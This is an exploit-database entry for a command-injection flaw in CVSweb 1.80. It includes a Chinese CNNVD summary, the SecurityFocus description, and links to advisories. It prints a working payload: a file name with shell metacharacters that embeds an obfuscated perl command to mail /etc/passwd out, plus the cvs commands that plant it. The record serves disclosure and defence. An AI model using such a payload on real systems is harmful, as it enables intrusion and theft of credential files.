https://www.exploit-db.com/exploits/20073
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200007-033

CVSWeb1.80版本中cvswebCGI脚本存在漏洞。带有到CVS储存器的写访问的远程攻击者借助shell元字符来执行任意命令。

source: http://www.securityfocus.com/bid/1469/info

Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")

An attack looks something like this:

SHELLCODE="';perl -e '$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:x2Fx40:; system $_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE

Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here].

来源:XF
名称:cvsweb-shell-access
链接:http://xforce.iss.net/static/4925.php
来源:BUGTRAQ
名称:20000714MDKSA-2000:019cvswebupdate
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0196.html
来源:TURBO
名称:TLSA2000016-1
链接:http://www.turbolinux.com/pipermail/tl-security-announce/2000-August/000015.html
来源:BID
名称:1469
链接:http://www.securityfocus.com/bid/1469
来源:BUGTRAQ
名称:20000712cvsweb:remoteshellforcvscommitters
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0178.html
来源:FREEBSD
名称:FreeBSD-SA-00:37
链接:ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:37.cvsweb.asc